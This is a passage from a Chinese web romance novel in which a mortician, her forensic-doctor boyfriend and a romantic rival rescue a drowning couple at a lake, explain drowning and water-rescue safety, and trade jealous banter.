祝临川几乎是脑子一转就想明白了原委。只怕是陈安夏之前的视频让方瑜发现了她在白绯的公司里上班,这人早就盯上她了。这次的视频陈安夏估计也带了定位,这可不就让有心人循着味道摸过来了嘛。
他下意识地侧脸去看白绯的表情,却发现她一脸的一言难尽,捂着眼睛嘟囔着:“一看到他就想起安夏发的那些烧包视频,啊,这种浑身刺挠的诡异感觉,根本无法直视啊。”
她说着蜷缩起身体往小施他们背后躲了躲,还不忘拉着祝临川:“赶紧躲起来,别被发现了!”
可惜正如祝临川所想,方瑜果然就是冲他们来的。他对着一脸做梦般表情的陈安夏露齿一笑,八颗洁白的牙在阳光下熠熠生辉:“哟,好巧。”
接着又转过头对着企图装瞎的白绯大笑道:“都看见你了,别躲了,见着我就这么害羞吗?”
白绯被他噎了一句,默默吐槽道:...倒是和原世界的方瑜一样,自我感觉好得很,从不内耗。
她没忍住不雅地翻了个白眼:“你好,再见,再也不见。”
方瑜哈哈大笑,一屁股坐了下来。
陈安夏意外地看看他俩:“咦,老方,你还认识绯绯姐呢?她也粉你了?”
白绯便简单提了提上次的事。
陈安夏逐渐回过味来,脑中仿佛醍醐灌顶,啪地猛一拍手:“我明白了!原来老方上回说的Crush是...额,呵呵~”
她猛地捂住嘴,小心地从眼角偷觑祝临川的表情。心道,看来是早知道有人想挖墙脚了,我说上回给白绯看视频的时候气氛那么奇怪呢!
小施还在状况外,眨巴着无辜的大眼睛,一脸“你们打什么哑谜”的表情。
祝临川冷笑一声,没有说话,只递了一颗剥了皮的葡萄到白绯嘴边。
白绯伸手去接,祝临川却避了开来,只捏着那颗晶莹剔透的果肉示意她直接吃。
白绯不明就里,瞟了他一眼,却也没有多问,只是疑惑地低头去咬。她本想一口直接含进嘴里,不想祝临川却又使幺蛾子,捏着另外半边不撒手,只让她在上面咬出了一个圆润的缺口。柔软的唇瓣也因此不可避免地贴上了那两根沾着淋漓果汁的修长手指,仿佛亲吻一般,让她不由自主地想起了某些少儿不宜的时刻。
之后,她才终于明白了祝临川这些的举动背后含义。
早在喂葡萄的时候,正在和陈安夏说话的方瑜就已经注意到了这边的动静。
顶着那人快醋死的眼神,祝临川微微一笑,将剩下的半颗葡萄塞进了嘴里。他还犹嫌不够般,伸出鲜红的舌尖,在方才被白绯触碰过的手指上轻轻一卷,嘴角是一个极其挑衅的弧度:“果然很甜。”
围观全程的白绯目瞪口呆:好...好茶!是谁说男人不懂绿茶的?
方瑜额角青筋直跳:拳头硬了。
他冷笑一声,刚想再说什么,眼角余光突然被什么动静吸引,凝眸朝远处望去:“那儿怎么有个小娃娃朝湖里爬呢?!他家大人呢?”
四人朝他手指的方向看去,竟是方才那对年轻小夫妇所在的营地。
刚才还在钓鱼的男主人不见踪影,就连女主人也消失不见。眼看着那孩子都快要爬进湖里了,四人再也顾不上说话,拔腿就朝那边赶去。
“人呢?一眼没见能去哪儿了?”陈安夏边跑边四处打量,疑惑道,“那俩人看着也不是这么不靠谱的家长啊,怎么丢下这么小的孩子失踪了?”
祝临川个高腿长,跑在最前面,终于在孩子爬进湖水的前一秒,弯腰伸手一抄,将娃娃抱进了怀里。
孩子估摸着才一两岁,甚至还不会说话。她在祝临川怀里咿咿呀呀地张着小手,竟是还想往水里扑。
“怎么回事,帐篷里也没人啊?”白绯气喘吁吁地站定,撩开帐篷往里一看,只见里面的东西都整整齐齐地摆着,湖边的小炸锅里甚至还炸着小鱼,都快糊了。
她拧上卡式炉开关,皱眉往林子里望:“东西也都没带走,去厕所了?”
小施摸了摸架在岸边的遮阳伞,看着下面空荡荡的鱼竿架子,道:“鱼竿不见了。”
那根鱼竿的杆身是螺纹钢,因此给他留下了深刻的印象。当时男主人还笑着和他解释,上回他来这湖边钓鱼,钓着了条几十斤的大鱼,眼瞅着就要钓上岸了,鱼竿断了。为此,他特意买了根螺纹钢来做钓竿,这下总不能再断了吧?
陈安夏从祝临川怀里接过孩子,有些心疼地摸了摸她的小脸,问道:“你爸爸妈妈呢?”
孩子张嘴对她吹了个泡泡。
这时,白绯注意到方瑜正神情凝重地注视着平静的湖面,她不由地顺着他的目光看去,湖面很平静,只在离岸不远处的水面,突然冒出了一串气泡。
“有什么发现吗?”白绯伸出胳膊肘捣了下方瑜侧腰。她眯着眼看着湖面,不知为何,总是对那处冒出气泡的水域很在意。
而且越是细看,越是觉着似乎那处的水流波动也比其他地方剧烈,就好像...就好像....
"不好!有人溺水!"
还不待白绯厘清头绪,方瑜已经像一阵风般刮进了水里。只见他大踏步淌进水中,走到方才冒出起泡的地方后弯腰一提,就从水中提起了一个浑身湿透的女人。赫然就是刚才那对年轻夫妻中的女人。
终于接触到空气后,她浑身瘫软地挂在方瑜身上不断呛咳,水沫不断从口鼻涌出,仿若搁浅的鱼,胸膛嘶鸣着剧烈起伏。
小施赶紧跑过去搀扶
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住在另一边,因为后怕身体不住地颤抖,连带着隔壁两人都开启了振动模式。
“没事了没事了,我们快去岸上...”
二人扶着女人往岸上走,然而女人的手指却痉挛般死死扣住方瑜的手腕,在找回声音后的第一秒就近乎啼血般低吼道:“还...还有一个!在水里!”
话音刚落,祝临川已经纵身跃进了湖中。方瑜把虚弱的女人交给小施,也折身返回了水中。
白绯从营地里找出毛巾递给小施,让他给女人擦擦。她站在湖边担忧地观望。不时能看到祝临川和方瑜冒出水面换气,之后就又潜入水中继续搜索,显然是还没能找到落水者。
湖泊一如方才那般美丽,在阳光下的照耀下反射出粼粼波光。但一想到此刻,平静的湖水下正有一条年轻的生命危在旦夕,甚至连施救的两人处境都十分危险,就令在场所有人都十分揪心。
好在只过了一分钟,虽然这一分钟的体感可谓十分漫长,方瑜和祝临川终于找到了落水的男主人。祝临川单手从他腋下穿过,环抱着他的胸部,侧泳着向岸上游来。
这是一个专业的救援姿势,可以防止因为落水者的恐慌或挣扎,导致施救者被打伤或者箍住脖子摁入水中等危险行为。
白绯松了口气,但紧跟着眉头就皱了起来。情况显然不太好,那男人双眼紧闭,嘴唇乌紫,就连胸膛都已经没了起伏的动静。
毕竟只需2-3分钟,溺水者就会出现窒息反应,5分钟,就会因大脑受到不可逆损伤而陷入昏迷。
祝临川喘息着将男人放倒在了岸上。没有再耽搁,方瑜果断蹲下身进行急救。
他把男人的头偏向一侧,清理掉他口鼻中的淤泥水草,之后就开始进行心肺复苏。
方瑜显然很专业,他双手叠扣,在男人的两□□连线中点垂直按压,深度达到了标准的5厘米。在一组按压后一手压住男人额头,另一手抬起他的下巴,这是为了开放气道。
之后,方瑜捏住年轻人的鼻子,包住口部开始吹气,男人的胸廓随着人工呼吸的进行而隆起。
在这样专业的抢救下,三轮过后,男人的身体猛地一颤,爆发出撕心裂肺的呛咳,湖水从他的口鼻中喷涌而出。他瘫软在地,贪婪地呼吸着清冽的空气,虽然眼神还有些涣散,但显然终于逃出了鬼门关。
在场所有人提起的心都因为这一声呛咳而落到了实处。
瘫软在地的女主人终于呜咽出声,不再控制自己的情绪,放肆地宣泄劫后余生的后怕与喜悦。
等二人发泄完情绪,在场诸人才明白刚才究竟发生了什么事。
年轻男人名叫夏灵运,他搂着还在后怕的妻子刘晴,一脸自责地向大家解释起了方才的事。
当时,他们二人正并肩挨着说话,孩子则坐在边上的躺椅上玩玩具。忽然,夏灵运只觉得握着钓竿的手上一沉,还没来得及反应,就被一股巨力拉进了水中。
由于二人方才正手拉着手,这一下,瞬间便将刘晴也带入了水中。好在夏灵运还算机警,立刻松开了拉着刘晴的手,因此她才没被一起拉入深水区。
正如众人所见,方才方瑜确实是在水深只到胸腹处的水域将挣扎的刘晴拉起来的。
刘晴擦了擦眼角的泪,有些不好意思道:“我不会游泳,也不知是因为太害怕了还是什么,在那水里怎么也找不回平衡,就是无法站起来。”
白绯把取来的毛巾和干净衣物递给祝临川和方瑜,让他们去林子里更换。她从帐篷后绕出来时,正好听到刘晴的话,便开口安慰道:“不怪你,事实上,对于不会水的人来说,只要水深超过她的胳膊,就有溺水的风险。”
白绯就曾经接待过不少溺水遗体,而这些可怜人发生溺水的地方并不是如一般人所想象的户外水域,而是室内。
63. 鱼の报复
例如游泳池浅水区,甚至浴缸。
小施不可思议道:“怎么会!比胳膊高就会溺水?绯绯姐,你是开玩笑的吧?怎么的也得到胸腹或者没过头顶吧?”
白绯摇摇头,严肃道:“我可没有危言耸听。对于不会水的来说,这点水深就足够致命了。以前我曾经见过一家三口,就都是殒命在水深只有一米的水域。”
“天呐!”陈安夏显得很难过,“为什么会这样啊!”
白绯摇摇头,叹了口气,解释道:“就是因为大家都有这样的误解,才会放松警惕,最后酿成悲剧。其实啊,当不会水的人不慎在水里摔倒,他就很难再找回平衡了。因为摔倒后,人体的本能会让他拼命用手去撑地,但在水中时,若是水深超过胳膊,无论我们如何用手去撑地面,我们的脑袋都是无法浮出水面呼吸到空气的。而当落水者手离开了地面,却发现依然无法呼吸到空气时,又会下意识用手去找地面,就这样恶性循环,不断消耗体力直到最后溺水而亡。”
刘晴瞪大了眼睛,连连点头,一副你懂我的表情:“没错!就是这样!当时我很想站起来呼救,想着要是能浮出水面叫上一声,或者哪怕拍出点水花,就能吸引到你们的注意,这样就能得救了!可是我就跟被水鬼魇住似的,根本没办法发出任何声音。”
她说完还往夏灵运怀里靠了靠,畏畏缩缩地从他的肩头向湖面看去:“这儿不会真的不干净吧?”
白绯啼笑皆非,这次鬼门关走了一遭,看来是真的把人吓得不轻。
她语气温柔,却带着安抚人心的力量,慢条斯理解释道:“别害怕,你方才的情况就是真实的溺水状态,并没有水鬼什么的,不用多想。溺水本就是一个快速、安静而且很容易被忽视的过程。电视剧里的角色溺水的时候,一般都会浮在水面上大声呼救,再不济也能拍打水面引起他人的注意,对吧?但这其实都不是真实的溺水反应,给很多人带来了误解。电视剧里还有一个常见的错误情节就是当角色割破动脉的时候,例如自刎,血液其实也应当是像水泵一样一股一股地喷射才对。额…偏题了,说回溺水。当落水者被水淹没的时候,水进入呼吸道,尤其是喉咙和气管的时候,是会马上引发人体的保护反射的。这种反射叫喉痉挛,喉头的肌肉会强烈收缩,阻止水进入肺部,但这样同时也会导致声带被封锁,使人无法呼救,也就是你方才的状态了。”
在场诸人都露出一副恍然大悟的表情。
陈安夏把孩子还给刘晴,扭头朝林子里方瑜走的方向看了看,发现什么也看不到后遗憾地咂了咂嘴:“难怪,夏季的时候经常有那种新闻吧,玩水的孩子因为家长疏忽,没有注意到他们溺水因而丧命。当时我还骂过,这得有多马大哈才能连这么危险的情况都没注意到。”
白绯点点头,道:“确实,有些家长是因为自身失责,只顾着玩手机或者和人聊天,没有关注孩子。但也有很多家长是因为没有辨别出孩子已经处于溺水的状态,而是误以为他只是在玩水。大家都知道了,溺水者很难呼救。不仅如此,他们在水中时还会呈现出一种垂直站立踩水或者爬梯子的状态,这种姿势在岸上的人看起来就非常像在正常玩水而已,所以等发现不对的时候,就已经晚了。所以很多这类的悲剧甚至从头到尾都是在家长的注视下发生的。”
已经身为人母的刘晴感同身受,控制不住打了个哆嗦,抱紧了怀里的孩子,感叹道:“这也太惨了,那些父母只怕一辈子都无法原谅自己。”
夏灵运也很后怕,捏了捏孩子的小脸蛋:“要是因为我来钓鱼,害得小晴殒命,宝宝这么小就变成孤儿,我真的死都没办法瞑目。”
他恶狠狠地回头瞪了眼水面,咬牙切齿道:“妈的,以后再也不来钓鱼了!刚才我被往水里拖的时候,上回差点被我钓上岸的那条草鱼,它不仅来围观,还用鱼鳍给了我脑袋一下,差点直接给我打晕过去!因为这货脑袋上有个X型的疤,所以我一眼就认出来了!而且我现在怀疑,这次咬钩的那条草鱼,搞不好就是它请来的老祖宗,特意来找场子来了。打脸爽文里不都说,打了小的来了老的。嘶,还真疼。你们看。”
众人顺着他手指的方向看去,果然在他头上看到了一道细细的伤痕,已经被水泡得发白,正在往外冒小血珠。
夏灵运无语地松开扒拉着头发的手,吐槽道:“我还想着一雪前耻,没想到人家也回头摇鱼,搁这儿等着报复我呢。幸好有那两位大哥,不然后果不堪设想啊!”
他猛地锤了锤地面,下定了决心:“回去我就学游泳去,一定把你们的爱心发扬光大,以后碰到落水者也好献出一臂之力。”
既然他说到了这份上,白绯便干脆多做了些科普。
“救人是好事,但也有些要注意的地方。一般来说,安全起见,我们最好还是在岸上救援。可以趴低重心,然后找些竹竿啊,衣服拧成的绳子、救生圈或者泡沫板之类的直接抛进水里,让溺水者自己抓着,再把他们拉到岸上。实在万不得已的时候,才考虑进入水中救援。厚重的衣服鞋袜可以先脱掉来减少阻力,最好再拿些漂浮物,比如救生衣啊,或者塑料桶之类的先推给落水者。另外,也是最重要的一点,一定要从背后或者侧面靠近落水者,然后单手从他的腋下穿过,环抱住他的胸部游回岸上,不然要是被惊慌的落水者抱住,搞不好就是双双殒命的下场了。”
“我明白了!”旁听的小施突然猛地一拍手,吓了众人一跳:“原来是这样啊!在我小时候,村子里有个大娘在河边埠头洗衣服的时候不小心掉进沟里了,有个叔叔脱了衣服却一直不下水,一直等到人家水都快喝饱了快沉下去了才终于跳下去!”
“没错。”白绯点点头,“这也是一种方法,等溺水者脱力后再接近,也会比较安全。不然被溺水者勒住脖子摁着脑袋压进水里,可不是闹着玩的。”
小施很自责:“嗐,看来我们都错怪他了啊!就因为这,当时人家做了好事还挨了好一顿骂呢!我回去得和村长好好说道说道,可得还人家清名!”
夏灵运没想到里面还有这么多门道,听得很是认真。
白绯继续科普:“一般来说,上岸后4分钟内是黄金抢救期,一定不能错过。但如果是在冰水中溺水,即使超过30分钟也还是有希望的,不能放弃抢救。另外,大家都可以去学学心肺复苏的急救手法,这个实施起来还挺费力的,按压到位的情况下甚至有可能把肋骨按断。上岸抢救回来后也不能大意,还是建议再去医院观察一下。有极少数人上岸后会因为喉痉挛导致干性溺水,还有些人会因为呛水损伤了肺功能导致呼吸困难二次溺水,所以还是去医院检查下更保险。”
刘晴听后很担心,便催促着夏灵运去医院检查。小施和陈安夏不放心他们,便提议由他们陪着一起下山。至于白绯他们,则留下帮忙收拾行李,之后帮他们带下山送回家中。
夏灵运二人很是感动,千恩万谢地走了。
他们离开没多久,祝临川和方瑜就相继从林子里走了回来。出人意料的是方瑜,明明白绯拿了祝临川的一套备用衣服给他,他却只松松垮垮地套了条裤子,裸着上半身就那么大摇大摆地走了出来。
其实这就是他的小心机了。他不着痕迹地绷紧了身上的肌肉,为了保证线条的完美,甚
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至还在林子里偷偷做了几组俯卧撑,保证肌肉处在充血状态。还特意没擦汗,让汗珠留在古铜色的皮肤上。
方瑜低头瞟了眼,信心满满地朝白绯走去,不错,瞅这大卫般完美的□□,保证能让白绯的注意力从那瘦猴身上移开。
“怎么这么晚才出来。”岂料白绯却只抬头瞟了他一眼,就继续低头收拾起夏灵运他们的行李。“衣服不合身?”
方瑜媚眼抛给瞎子看,不死心地咬了咬牙,在白绯眼前晃来晃去秀着肌肉:“是啊,这谁的衣服,太瘦了,我穿着勒得慌。”
其实他心里门清,这还能是谁的衣服,这里也就祝临川有他这么大的体格了。
白绯闻言终于抬起头,眯着眼睛盯着他看。
方瑜在她的注视下悄悄挺起了胸膛。
白绯上下打量了一圈后又低头开始收拾,奇怪道:“不应该啊,你和临川的身材应该差不多啊。行了,你自己看着办吧,别在这儿碍事,我还要收拾东西呢。”
她不耐烦地轻轻推开在她眼前孔雀开屏的半裸男,想起什么后又抬头认真道:“夏灵运他们先下山去医院了,让我务必替他们和你说声谢谢。如果你方便的话,也想请你留下联系方式,后续他们再登门道谢。”
方瑜能面不改色地在白绯面前抖骚,但面对这诚挚的道谢却有些害羞。他摸了摸鼻子,不自在地道:“小事一桩,有什么大不了的。联系方式就...”
他正想说不用加了,幸好脑子灵光一闪,掏出手机道:“那我先加你吧,后面你再把我推给他们小夫妻。”
瞅他多机灵,这女神的联系方式不就正大光明地加到手了嘛!
白绯果然点头应允。
在顺利加上白绯联系方式后方瑜又主动提出了帮忙。有了他的帮助,二人确实轻松了很多。
他们把夏灵运一家的行李打包收拾好后时间已近正午,白绯便干脆邀请方瑜一起坐下吃了点,正好把带来的东西多消耗些,一会儿也能少些需要带下去的行李。
“有爱吃的你多吃点,这些都是自己手工制作的,新鲜干净又卫生。”白绯热情地把食物朝方瑜的方向推了推。
方瑜很给面子,边噗噗吐着鸡爪骨头边竖大拇指:“卤得真带劲儿。是你做的吗?人美就算了,厨艺也这么牛逼啊!”
白绯捂着嘴笑,却不说话。
方瑜被她这样儿逗得心痒痒,完全无视了在场的第三人,继续吹彩虹屁:“怎么不说话啊大厨,害羞了?”
“呵...”祝临川冷笑了一声。
方瑜不耐烦地“啧”了一声,噗地一声朝他吐出一节鸡骨,斜眼觑着祝临川:“打什么岔,没看我在这儿和大厨说话呢吗?”
祝临川微微侧身避开骨头,抱着胸朝他冷淡挑眉:“不好意思,大厨本人是我。”
“咳咳咳...”方瑜差点被嘴里的鸡骨头噎死。
白绯哈哈大笑。
“我们家临川的手艺不错吧?他可全能了,什么都会!”
方瑜听得醋意大发,不满道:“全能?是情人眼里出西施吧?”
白绯很真诚地回答:“真的!高材生,法医,长得帅,会做饭,会带娃,连奶茶都会摇!真真是上得厅堂,下得厨房。我吃得可真好哈哈哈。”
祝临川偏头温柔地看着快把他夸到天上去的白绯,语气宠溺:“哪儿就像你说的那么好了。”
方瑜瘪着嘴学他说话:“哪儿就像你说的那么好了,我呸,美吧你就。我敢说,有件事你绝对不会。”
“什么?”白绯好奇问道。她还真没见到有祝临川不会的事。
64. 死人湾
“呵!”方瑜冷笑一声,嚣张地昂着头,对着祝临川冷哼道:“你能生孩子吗?”
祝临川:...还真不能。难道你能吗?
他都快被气笑了。原来人在无语的时候真的会想笑,他倒是也想能生孩子,免得白绯受分娩之苦,但目前的科学技术还没到这个境界啊,要不然身为新时代男德代表的他能不冲在最前头吗?
“你倒是挺有创意。”白绯也被逗乐了,哭笑不得地吐槽了一句。
方瑜傲娇地哼唧一声,又恶狠狠咬了一口瑞士卷,心里吐槽:妈的,怎么这么卷,连西点都会做,还做得这么好吃,回去我就报名新东方!
白绯不知道他心里在转什么主意,她吃了两颗葡萄,想到什么,又问道:“对了,方便问下吗,你是怎么进的捞尸这一行?”
听到白绯的问话,方瑜倒也没觉得有什么冒犯,直接说起了自己入行的缘由。
“我是甘市人,就住在回河边。我们那儿有个地方,叫死人湾,你们听过没?”
白绯点点头。在她原来的世界里,那个方瑜也是出生于死人湾,他的父亲最终也是在死人湾被他的师傅捞起。
再次听到这个地方,让白绯有些后悔提起这个话题了。
方瑜看起来倒是没什么不对劲的,只是惊讶白绯竟然连这么个小地方都知道。
“连这你都知道啊?”他满意地看着白绯,心道,这还不是缘分吗?我的故乡只是个名不见经传的小地方,但却已经早早在你的心里留下了位置,多浪漫啊。
白绯不知道方瑜脑子里已经在幻想带着她回到故乡,“夫妻”二人捞尸殡葬一条龙了。她转头对着挑眉不解的祝临川解释道:“死人湾,是回河边一处凸岸,经常会有溺水的遗体飘到那里堆积,所以才有了这个称呼。”
其实这并不是什么玄学,而是因为死人湾是一处凸岸,相比水流冲刷厉害的凹岸,这里的流速显著减慢,所以泥沙、砾石和水流带来的漂浮物都容易在这里沉降和堆积,当然也包括遗体。这种地形也是非常合适的钓位,因为很多杂食性鱼类会在这边觅食或者躲避。
也许这也是为什么钓鱼佬们总是钓到人民碎片的原因?
方瑜对着白绯比了个大拇指,示意她说得对。他露出怀念的表情,对着二人娓娓道来。
“因为死人湾经常有遗体堆积,后来政府出资,在边上建了一处停尸房。八岁的时候,我和发小打赌,斗地主输了的人要去停尸房过夜。结果,那帮瘪犊子早就提前商量好了给我做局,一帮子人出老千,只有我被蒙在鼓里,最后输了,只能老老实实溜进了死人湾。”
“白天那处就瘆人的慌。在还没有专人处理的时候,死人湾就总有遗体飘过来。你们知道吗,女仰男卧,脸朝上飘在水里的一般都是女尸,趴在水里的大部分都是男尸。很多尸体在水里泡久了,头发都掉光了剩个光头,还有很多连皮肤都剥落,露出下面的血管。还有些尸体一路漂泊过来,被水流冲刷撞击,已经千疮百孔。但是能保证完整的遗体都已经是很难得了,大部分的都缺胳膊断腿的,有些甚至连脑袋都没了。在政府没有出面前,都是些穷苦老光棍在捞尸,用他们的话说,穷比死人可怕。他们每天都会开着小船出去,如果捞到尸体,就把他们用绳子绑在岸边泡在水里。”
祝临川闻言眉头皱了皱:“泡在水里?”
方瑜从鼻孔里喷了口粗气,嘲讽道:“这你就不知道了吧,一看你就是死读书的书呆子。”
白绯倒是听原世界的方瑜解释过。“因为水其实是天然的保鲜箱,能够延缓腐烂,当然肯定是不如真正的冷藏库的。尸体在水里时还是白的软的,但是一出水面见了风,就立刻发黑变硬了。”
方瑜没想到白绯连这个都知道,点了点头称赞道:“聪明。那些捞尸人都是为了钱,遗体泡在水里方便寻过来的家属认尸。但若是久没有来,尸体腐烂得认不清了,他们就会解开绳子,让尸体飘走。”
白绯张了张嘴,但最终还是没有多说什么。
“这样的情况持续了很多年,每次路过死人湾,远远的就能看到那边像鱼一般飘着的遗体。直到后来政府出资,在那边建了一排平屋,又聘了一个捞尸人管理,情况才好了些。捞起来的遗体会被放进冷库,然后定期由人拉走处理。守院子的是条老土狗,和现在守着这排平屋的老头相依为命。村子里没人愿意过来,平时碰见了,也都远远躲开,嫌晦气。久而久之,就也没见那老头子出来了。村子里有人传谣言,说那老头会扒遗体上的财物,还拔过尸体嘴里的金牙。我心里害怕,可正是死要面子的年纪,最后还是鼓起勇气趁着夜色溜了进去。”
“我从家里带了几根肉骨头贿赂老土狗,大概是平时没人陪它,它竟然对我很亲近。我搂着它躲在狗窝里,总觉得死人湾比其他地方都要阴冷。昏暗的灯光,呼呼的风声,还有小平屋里哒哒哒的不明响声,吓得我都快尿了。”
白绯被他逗笑,脑海中仿佛出现了一个吸溜着鼻涕的脏小孩,搂着啃着骨头的老黄狗瑟瑟发抖的模样。
在场三人都是常与遗体打交道的人,都有过同样的经历。人类对同类的遗体总是天然地感到畏惧,这是刻在DNA里对危险的本能远离。
“那后来呢?”白绯追问道。
方瑜笑了笑,语气充满了怀念:“后来,我就遇到了带我入行的师傅,也就是那个守着平屋的老头。我在狗窝里瑟瑟发抖,却不知道早就被人发现了。老头把我带进了屋,还好吃好喝招待了我一番。也许是因为,他和那条老黄狗一样寂寞吧。我平安无事呆了一宿,第二天在那帮孩子面前好一通吹嘘。但也就是因为这一次相遇,我后来时不时地总会去找那老头,一开始只是蹭吃蹭喝,后来就开始帮忙。他年纪大了,很多活干不动,有我帮忙,他就轻松很多。我父母常年在外打工,每年除了寄些钱回来,平时是见不到人的。等他们有一年终于回来,发现我和捞尸人混在一块儿,把我一顿好揍。他们勒令我不许再和老头来往,正好那时我也考上了A市的大学,本也要离开甘市,便去和老头告别。结果没想到,却没能见到最后一面。”
白绯心里咯噔一下。
方瑜苦笑一声,道:“老头子做了一辈子捞尸人
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,没成想最后也落了个被人捞起来的命运。大概是年纪大了体力不支,他在上游巡逻的时候不知怎么地落了水,好在没在水里呆太久,就在死人湾被我捞了起来。他没有亲人,我拿着打工攒的钱给他办了后事。老黄狗两天后也没了,毕竟它年纪也大了。后来,政府又聘请了新的捞尸人。我看着物是人非,心里觉得没趣,就离开了那儿。之后我留在A市念书,心里却怎么都觉得空落落的,后来在湖边碰上了正在打捞的捞尸人,就加入了,不知不觉竟然干到现在。毕竟,有些事,总要有人去做。”
白绯心情复杂地抬手,拍了拍他的后背。和原来世界的方瑜命运不同,但却也是殊途同归。
“他们会为你骄傲的。”
方瑜垂着眼,抬手擦了擦眼角,语气低落:“老头走之前一直说,希望我以后对谁都别提起自己这段经历,更别入这一行,免得落得他那般孤独终老的结局。他希望我能像一个普通人那样长大,最后有一个热闹幸福的家庭。”
他抬起眼,凄凄切切地看着白绯:“但是一般的女孩子光是看见都害怕了,你是我遇到的第一个面对那种惨状的遗体还能面不改色的人。可惜,我们相遇的时间太晚...”
方瑜顶着祝临川杀人般的目光幽幽叹了口气,欲语还休般暗示:“要是能早一点遇到你就好了,老头一定也会很喜欢你的。”
祝临川没想到报应来得那么快,果然茶人者人必茶之。
白绯被噎了一下,有些心虚地看了眼祝临川,毫不犹豫地给方瑜发了好人卡:“你是个好人,一定会遇到能理解你的另一半的。”
祝临川也冷笑道:“是啊,你账号底下不是有好多女孩子巴巴地喊你老公吗?我看你答应得挺开心的。”
在这装什么寂寞如雪,我呸。
白绯和方瑜都震惊地扭头看向祝临川。
白绯百思不得其解:“你还去看他视频下的评论了?”
不是恨得牙痒痒吗?难道是为了知己知彼百战不殆吗?
方瑜则一副被恶心到的模样:“卧槽,你怎么知道我的账号,卧槽,你还在视奸我吗?救命,有变态!”
他抖了一会儿后又后知后觉意识到,既然祝临川已经知道他的账号了,那白绯看过了吗?
果然,白绯向他解释,是陈安夏向他们安利了他的账号,他们才知道的。
方瑜也顾不上恶心了,期期艾艾地看着白绯,问道:“那你看了我最新发的视频了吗?”
只要白绯看了,就一定明白他视频里告白的对象是谁。
果然,白绯有些尴尬地挠了挠下巴,对方瑜道:“看了。对了,还没正式跟你做介绍,我的男朋友,祝临川。”
这就是拒绝了。
祝临川在一旁得意,从鼻孔里对着他哼出一声正宫的冷笑。
方瑜额角青筋直跳,恨不得直接给他来一下,却还是忍了下来。他已经打定主意,就准备死皮赖脸留在白绯身边,一旦祝临川犯错,他就好趁虚而入。
俗话说的好,来得早不如来得巧,他绝不会错过任何一个撬墙角的机会的!
65. 海上□□
别人做小三就是自甘下贱,自己撬墙角就是倾城之恋,方瑜此刻已经被爱情冲昏了头脑,只想着一定要抓住机会趁虚而入,不知天地为何物了。
三人吃吃喝喝,又休息了一会儿,就带着夏灵运小夫妻和他们自己的行李下了山。
好在有方瑜这个壮汉加入,一人就能顶一头牛。
本来祝临川就拿白绯当宝宝,舍不得她拿重物,如今又有了方瑜这个免费的壮劳力,白绯最后身上的行李竟只有两张折叠板凳。
她看着眼前几乎被行李遮挡住全身的两人,刚想开口分担一些,方瑜已经大踏步跑下了山,一边跑还一边开嘲讽:“行不行啊瘦猴,一会儿别把你那把细腰给压折喽!”
祝临川不语,只是一味加快了脚步。二人你追我赶,没一会儿连影子都没了。
白绯:…
三人很快下了山,白绯按照刘晴给的密码打开了她家的门,把他们的行李放在了玄关。
才刚合上门,电话铃就响了,是陈安夏打电话来报平安。
“绯绯姐。”电话那头陈安夏的声音很轻快,显然应当一切顺利。果然,白绯听到了好消息。
“刘晴和夏灵运都没什么事,不过医生建议他们留院观察一晚再走。我和小施这就准备回来了。”
白绯松了口气,回道:“好,辛苦你们了。时间也不早了,不用来小楼了,直接回家休息吧。”
她挂了电话,也准备回家。方瑜自然是也想跟着走的,但还没等他开口,祝临川就一脚油门跑了,只给他留了一地的车尾气。
后来,夏灵运夫妻还特意上门送了礼物。白绯也没客气,收下了他们的心意。从此以后,小夫妻俩竟成了小楼的常客,没事就会来这逛逛,送些瓜果礼品。
除了他们二人,还有一人也常常出现在小楼,那就是方瑜。他原本已经打听到了白绯的公司,也正是因此,才在陈安夏一条带着小楼定位的视频中顺藤摸瓜,摸上了小耙子山。只是一直苦于该以什么名目上门,这才没有行动。
如今经历了小耙子山一事,方瑜自认为他们也算是过命的交情了,第二天就屁颠颠上了门。
白绯很有“人妻”的分寸,时刻恪守应有的距离感,但出于她对原世界方瑜的亲昵熟稔,她对这个世界的方瑜也难免有些不易察觉的亲近,虽然一般人很难看出来,除了祝临川。
因为方瑜的原因,他已经很久没能和白绯二人世界了。本来要上班就心烦,好不容易休息了,但凡他想和白绯拉拉小手亲亲小嘴,方瑜这个超大号电灯泡就会不知道从哪个犄角旮旯冒出来,十分不会看眼色地挤进他俩中间。
当某天祝临川下班后,好不容易逮着白绯孤身一人坐在后院的小平屋里折纸活,要知道这可十分难得。
他谨慎地左右看了看,确定那个嘴碎又绿茶的牛蛙今天没在,心下一喜,就要上去牵白绯的手:“绯...”
“绯绯~~”还没等他开口,一声矫揉造作的呼唤先一步从隔壁房间传了出来。
紧跟着方瑜像一阵风似地冲了出来,跟头牛似的一肩膀顶飞了站在门口的祝临川,目标明确直指坐在小板凳上的白绯。他壮硕的胳肢窝下还夹着一个未完工的纸人,纸人细棱棱的脖子风雨飘摇,眼瞅着就快被夹断了。
“绯绯~”方瑜一个急刹停在白绯面前,夹着嗓子又百转千回地叫了一声,翘着兰花指指着胳肢窝下还未画出五官的纸人白惨惨的脸,撒娇道:“人家怎么画都画不好它的脸,绯绯你再教教我吧~最好能站在人家身后,用手握着我的手,我们一起画,好吗?”
白绯抬头和纸人面面相觑。
不知是否是错觉,她硬是从那张空白的脸上看出了一股哀怨,仿佛在无声地控诉:朋友,茶归茶,空气给一下。
她无语地伸出手指戳了戳方瑜硬邦邦的肱二头肌:“松开点,纸人脑袋都快被你夹断了。”
她叹了口气,从方瑜的胳肢窝下救出可怜的纸人,提起笔道:“那你看着我画吧。”
“唉~”方瑜屁颠颠地应了一声,挤过来的时候还没忘记大屁股使劲,把祝临川又往远挤了挤。
祝临川:...老天爷你是瞎了吗?快来道雷劈死这个不要脸的烧货。
不过好在方瑜再鸡贼也没理由在这里过夜,虽然他倒是想,但最后还是咬着手绢被白绯赶出了小院。
祝临川隔着铁门对他发出正宫的冷笑,在方瑜羡慕嫉妒恨的目光中得瑟地搂着白绯转身进了小楼。
于是晚上,白绯就得到了一个黏人的超大号奶狗,差点没死在床上。
“我想睡觉...”再纵容他胡闹了好几回后,白绯终于顶不住了。她四仰八叉地躺在床上,累得连根手指都不想动弹。
祝临川神情餍足地搂着她,爱怜地吻了吻白绯汗湿的鬓发,从地上散落的衣服口袋里摸出了两张船票。
“吴老师送了我两张辉夜号的船票,正好接下来是小长假,和我一起去吗?”
白绯困倦地睁开左眼看了看眼前的船票,精美的票据上画着一艘豪华大邮轮,穿着燕尾服和礼裙的游客们正在甲板上翩翩起舞。
